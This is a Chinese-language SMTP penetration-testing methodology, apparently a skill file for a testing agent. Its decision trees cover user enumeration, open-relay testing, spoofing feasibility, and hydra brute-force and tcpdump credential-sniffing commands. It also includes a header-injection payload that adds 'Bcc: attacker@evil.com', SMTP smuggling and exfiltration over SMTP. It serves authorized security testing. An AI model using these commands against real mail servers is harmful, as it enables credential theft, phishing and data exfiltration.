wgpsec SMTP 渗透测试方法论 (25/465/587)
深入参考
- SMTP 命令、枚举载荷、伪造脚本、注入语法大全 -> 读 references/smtp-commands.md
整体决策树
发现 25/465/587 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ Banner 抓取 (nc / openssl)
│ ├─ EHLO 命令获取支持的扩展列表
│ ├─ 识别 MTA 软件与版本 (Postfix / Sendmail / Exchange / hMailServer)
│ └─ NTLM 认证探测 (Exchange/IIS) -> 泄露内部主机名/域名
├─ Phase 2: 用户名枚举
│ ├─ VRFY 命令 -> 直接验证用户是否存在
│ ├─ EXPN 命令 -> 展开邮件列表
│ ├─ RCPT TO 命令 -> 通过响应码判断用户存在性
│ └─ 自动化工具 (smtp-user-enum / Metasploit / Nmap)
├─ Phase 3: 开放中继测试
│ ├─ 手动测试: 从外部域发送到外部域
│ ├─ Nmap smtp-open-relay 脚本
│ └─ 判断 mynetworks 配置是否过宽
├─ Phase 4: 邮件伪造
│ ├─ 检查 SPF 记录 -> dig txt domain.com
│ ├─ 检查 DKIM -> dig selector._domainkey.domain.com TXT
│ ├─ 检查 DMARC -> dig _dmarc.domain.com TXT
│ ├─ 判断伪造可行性
│ │ ├─ 无 SPF / SPF ~all / 无 DMARC -> 高可行
│ │ ├─ DMARC p=none -> 中可行 (不拒绝)
│ │ └─ DMARC p=reject + SPF -all -> 低可行
│ └─ SMTP Smuggling -> 绕过 SEG/邮件网关
├─ Phase 5: 凭据攻击
│ ├─ 暴力破解 (hydra / Metasploit)
│ ├─ 密码喷洒 (常见弱口令)
│ └─ 嗅探明文认证 (端口 25 无 TLS)
├─ Phase 6: SMTP 命令注入
│ ├─ CRLF 注入 -> 附加额外收件人/头部
│ ├─ 头部注入 -> 通过 Web 表单注入邮件头
│ └─ SMTP Smuggling -> 利用 MTA 解析差异
└─ Phase 7: 已知漏洞
├─ 版本匹配 CVE 搜索
├─ Nmap smtp-vuln-* 脚本
└─ 读 references/smtp-commands.md #CVE清单
Phase 1: 服务发现与版本识别
1.1 Banner 抓取与连接
连接 SMTP 服务
├─ 明文 (端口 25)
│ └─ nc -vn <IP> 25
├─ SSL/TLS (端口 465)
│ └─ openssl s_client -crlf -connect <IP>:465
├─ STARTTLS (端口 587)
│ └─ openssl s_client -starttls smtp -crlf -connect <IP>:587
└─ 获取 Banner 后判断 MTA 类型
├─ "Postfix" -> Linux, 检查版本
├─ "Sendmail" -> Linux/Unix
├─ "Microsoft ESMTP" -> Exchange/IIS
├─ "hMailServer" -> Windows, 常见于 HTB
└─ "Exim" -> Linux, 检查 CVE
1.2 EHLO 扩展探测
# 连接后发送 EHLO 获取服务器支持的命令和扩展
# 关键关注: VRFY, EXPN, AUTH, STARTTLS, SIZE, DSN, NTLM
nmap -p25 --script smtp-commands <IP>
关键判断:
VRFY启用 -> 直接进入 Phase 2 用户枚举AUTH支持 -> 可尝试凭据攻击 (Phase 5)AUTH NTLM-> 信息泄露探测 (见 1.3)- 无
STARTTLS-> 可嗅探明文凭据
1.3 NTLM 认证信息泄露
当 SMTP 服务器支持 NTLM 认证时 (常见于 Exchange/IIS)，可获取内部主机名、域名、OS 版本。
# Nmap 自动化探测
nmap -p 25,587 --script smtp-ntlm-info <IP>
泄露信息: 内部主机名、AD 域名、OS 版本号 -- 对后续攻击路径规划有价值。
1.4 内部服务器名泄露
发送不完整 MAIL FROM -> 服务器可能自动补全
├─ MAIL FROM: me
│ └─ 响应: 250 2.1.0 me@PRODSERV01.somedomain.com
└─ 泄露内部主机名
1.5 MX 记录查询
# 查找目标组织的邮件服务器
dig +short mx target.com
Phase 2: 用户名枚举
2.1 枚举方法决策树
用户名枚举
├─ 方法 1: VRFY (最直接)
│ ├─ VRFY root -> 250 = 存在
│ └─ VRFY invalid -> 550 = 不存在
│ 注意: 很多现代 MTA 禁用或返回统一响应
├─ 方法 2: EXPN (展开邮件列表)
│ ├─ EXPN root -> 250 展开为实际地址
│ └─ 可发现邮件列表和别名映射
│ 注意: 大多数服务器已禁用
├─ 方法 3: RCPT TO (最可靠)
│ ├─ 先发送 MAIL FROM:<any@any.com>
│ ├─ RCPT TO:<user@target.com>
│ │ ├─ 250 Recipient ok = 用户存在
│ │ └─ 550 User unknown = 不存在
│ └─ 适用于 VRFY/EXPN 被禁用的场景
└─ 方法 4: 自动化工具
├─ smtp-user-enum -M VRFY -U users.txt -t <IP>
├─ smtp-user-enum -M RCPT -U users.txt -t <IP>
├─ Metasploit: auxiliary/scanner/smtp/smtp_enum
└─ Nmap: nmap --script smtp-enum-users <IP>
2.2 DSN 报告利用
向目标组织发送邮件到无效地址，退信 (NDR) 头部可能泄露:
- 内部邮件服务器 IP
- 反病毒软件信息 (X-Virus-Scanned)
- 邮件网关/SEG 类型
- 内部路由拓扑
EICAR 测试: 发送 EICAR 测试文件可探测 AV 引擎类型，用于后续规避。
Phase 3: 开放中继测试
3.1 检测决策树
开放中继测试
├─ 自动化检测
│ └─ nmap -p25 --script smtp-open-relay <IP> -v
├─ 手动测试 (telnet/nc 连接后)
│ ├─ MAIL FROM:<attacker@external.com>
│ ├─ RCPT TO:<anyone@another-external.com>
│ ├─ DATA -> 写入邮件内容 -> .
│ └─ 如果 250 OK -> 确认开放中继
└─ 判断影响
├─ 开放中继 -> 可用于发送钓鱼邮件/垃圾邮件
├─ 可用于绕过 SPF (从合法 IP 发送)
└─ 严重配置缺陷，报告中标记高危
3.2 SEG 绕过 (邮件安全网关)
绕过邮件安全网关 (SEG)
├─ 检查所有接受的域的 MX 记录
│ ├─ dig +short mx domain.com
│ └─ 对比 MX 是否指向 SEG 还是直接指向邮件服务器
├─ 测试 <tenant>.onmicrosoft.com
│ ├─ MX 始终指向 Exchange Online
│ └─ 如未锁定 -> 发送到 user@<tenant>.onmicrosoft.com 绕过 SEG
└─ MX 不一致 -> 直接向邮件服务器投递，跳过 SEG 检查
Phase 4: 邮件伪造
4.1 防伪造机制检查
检查目标域邮件安全配置
├─ SPF 检查
│ ├─ dig txt target.com | grep spf
│ ├─ 关注结尾: -all (严格) / ~all (软拒) / ?all (中立) / +all (全允许)
│ └─ 无 SPF 记录 -> 伪造可行性高
├─ DKIM 检查
│ ├─ 需要知道 selector (从邮件头 DKIM-Signature d= s= 获取)
│ └─ dig <selector>._domainkey.target.com TXT
├─ DMARC 检查
│ ├─ dig _dmarc.target.com TXT
│ ├─ p=none -> 不执行策略，伪造可行
│ ├─ p=quarantine -> 进垃圾箱，部分可行
│ └─ p=reject -> 直接拒绝，需要更高级绕过
└─ 额外检查
├─ MTA-STS: dig _mta-sts.target.com TXT
├─ BIMI: dig default._bimi.target.com TXT
└─ STARTTLS 支持: openssl s_client -starttls smtp -connect mx:25
4.2 伪造可行性判断
综合判断
├─ 高可行: 无 SPF + 无 DMARC
├─ 高可行: SPF ~all + DMARC p=none
├─ 中可行: SPF -all + DMARC p=none (被标记但不拒绝)
├─ 低可行: SPF -all + DMARC p=quarantine (进垃圾箱)
├─ 极低: SPF -all + DMARC p=reject (直接拒绝)
└─ 绕过手段
├─ 子域伪造: 子域可能没有独立 SPF/DMARC
├─ SMTP Smuggling: 利用 MTA 解析差异注入邮件
├─ DKIM 签名: 自己生成密钥对签名 (接收方无法验证但显示已签名)
└─ 相似域名: 注册近似域名 (如 target-mail.com)
4.3 发送伪造邮件
发送方式选择
├─ 命令行工具
│ ├─ swaks -- 最灵活的 SMTP 测试工具
│ ├─ sendEmail -- 简单发送
│ └─ Python smtplib -- 高度可定制
├─ 在线工具 (仅用于验证)
│ ├─ emkei.cz
│ └─ anonymailer.net
└─ 自动化工具
├─ magicspoofing -- 自动检查 SPF/DKIM/DMARC 并伪造
└─ mailspoof -- 检查 SPF/DMARC 配置缺陷
-> 读 references/smtp-commands.md 获取完整的伪造邮件脚本和命令
Phase 5: 凭据攻击
5.1 攻击路径选择
SMTP 凭据攻击
├─ 暴力破解
│ ├─ hydra -l user@target.com -P wordlist.txt smtp://<IP>
│ ├─ hydra -l user@target.com -P wordlist.txt -s 587 <IP> smtp
│ ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum
│ └─ 注意: SMTP 通常无锁定策略，但要控制速率
├─ 密码喷洒
│ └─ 已枚举用户列表 + 常见弱口令逐个测试
├─ 嗅探明文凭据
│ ├─ 端口 25 无 TLS -> 可嗅探 AUTH PLAIN/LOGIN
│ └─ tcpdump -i eth0 port 25 -A | grep -i "AUTH\|LOGIN\|PASS"
└─ NTLM 哈希捕获
├─ 如果支持 AUTH NTLM
└─ 可配合 Responder 捕获 NetNTLMv2 哈希
Phase 6: SMTP 命令注入
6.1 注入类型决策树
SMTP 注入场景
├─ CRLF 注入 (通过 SMTP 协议层)
│ ├─ 在 MAIL FROM 或 RCPT TO 中注入 \r\n
│ ├─ 注入额外 RCPT TO -> 添加隐藏收件人
│ └─ 注入额外头部 -> 控制邮件内容/路由
├─ 邮件头注入 (通过 Web 应用)
│ ├─ Web 联系表单的邮件发送功能
│ ├─ 在 From/Subject/CC 字段注入 \r\nBcc: attacker@evil.com
│ └─ 可用于发送任意邮件
├─ SMTP Smuggling
│ ├─ 利用不同 MTA 对消息边界的解析差异
│ ├─ 在 DATA 段中注入: \r\n.\r\nMAIL FROM:...
│ └─ 绕过 SPF/DKIM/DMARC 检查
└─ Postfix 配置利用
├─ /etc/postfix/master.cf 中的脚本执行
└─ flags=Rq user=xxx argv=/path/to/script
-> 读 references/smtp-commands.md 获取注入载荷和 Smuggling 技术细节
Phase 7: 已知漏洞
7.1 漏洞匹配决策树
SMTP MTA 版本已知
├─ Postfix
│ └─ 搜索: searchsploit postfix
├─ Sendmail
│ ├─ 老版本存在大量 RCE (Sendmail 8.x 系列)
│ └─ searchsploit sendmail
├─ Exim
│ ├─ CVE-2019-10149 (The Return of the WIZard) -> Exim 4.87-4.91 RCE
│ └─ searchsploit exim
├─ Microsoft Exchange
│ ├─ ProxyLogon (CVE-2021-26855) / ProxyShell
│ └─ 独立 skill 处理
├─ hMailServer
│ ├─ 默认凭据 / 弱加密存储
│ └─ 管理端口 7000 (单独测试)
├─ OpenSMTPD
│ ├─ CVE-2020-7247 -> RCE (OpenSMTPD < 6.6.2)
│ └─ searchsploit opensmtpd
└─ 批量漏洞扫描
├─ nmap --script smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP>
└─ nmap --script=smtp-commands,smtp-enum-users,smtp-vuln* -p 25 <IP>
7.2 Nmap SMTP 漏洞脚本
# 全面 SMTP 漏洞扫描
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP>
-> 读 references/smtp-commands.md #CVE清单 获取详细漏洞信息和利用方式
Postfix 配置审计 (Linux 目标)
获取访问权限后检查 Postfix 配置文件中的危险设置:
| 配置项 | 风险说明 |
|---|---|
mynetworks = 0.0.0.0/0 |
开放中继，允许任意 IP 发送邮件 |
smtpd_relay_restrictions 为空 |
无中继限制 |
smtpd_recipient_restrictions 宽松 |
接收方限制不足 |
disable_vrfy_command = no |
VRFY 用户枚举可用 |
smtpd_tls_security_level = none |
无 TLS，凭据明文传输 |
关键配置文件:
/etc/postfix/main.cf-- 主配置/etc/postfix/master.cf-- 服务定义 (可能含脚本执行)/etc/aliases-- 邮件别名 (可能泄露用户信息)sendmail.cf/submit.cf-- Sendmail 配置
邮件头部信息收集
当能够使目标发送邮件 (如通过 Web 联系表单) 时:
邮件头分析
├─ 获取邮件头的途径
│ ├─ 让目标通过联系表单发邮件给你
│ ├─ 发送到不存在地址触发 NDR 退信
│ └─ 发送 EICAR 测试文件触发 AV 通知
├─ 可获取的信息
│ ├─ 内部 IP 地址和网络拓扑
│ ├─ 邮件服务器软件和版本
│ ├─ 反病毒/反垃圾邮件引擎 (X-Virus-Scanned)
│ ├─ 邮件网关/SEG 类型
│ └─ 内部路由路径 (Received 头)
└─ 利用价值
├─ 发现内部主机 -> 可用于后续攻击
└─ 识别 AV 引擎 -> 针对性规避
数据外传 (通过 SMTP)
当其他出站通道被阻断时，SMTP 可作为数据外传通道:
SMTP 数据外传
├─ 目标可出站到端口 25 -> 直接 SMTP 外传
├─ 编码数据为邮件正文或附件
└─ 通过合法邮件服务器中继 (如果是开放中继)